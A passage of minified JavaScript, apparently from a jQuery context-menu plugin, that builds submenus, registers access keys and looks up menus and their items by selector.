t.callback.apply(this,arguments)},t.accesskey&&(c.accesskeys[t.accesskey]||(c.accesskeys[t.accesskey]=[]),c.accesskeys[t.accesskey].push(s)),t.items)&&(n='',$(n).appendTo(o),s.$menu=o.find("ul."+e),s.callback=null,s.appendTo=s.$node,s.type="sub",o.data("contextMenu",s).addClass("context-menu-submenu"),o.find("ul."+e).data({"contextMenuRoot":c,"contextMenu":s}),o.find("li."+r).data({"contextMenuRoot":c,"contextMenuKey":r,"contextMenu":s}),s.items||(s.items={}),s.items[r]={"$input":null,"$label":null,"icon":"","name":"","_name":"","$node":o.find("li."+r)},p(c,s,t.items,"."+r))})},r=function r(e){if(_.isObject(e)&&e.$menu)return e;var t,i,n=$.contextMenu.menus;for(i in n)if(n[i]&&(n[i].selector==e||n[i].selector=="."+e||n[i].selector=="#"+e)){t=n[i];break}return t},$.contextMenu.menuItem=function(e,t){var i=r(e);if(t===undefined)return i.items;if(!i||!i.items)return!1;"string"==typeof t&&(t=[t]);for(var n=!1,o=0;o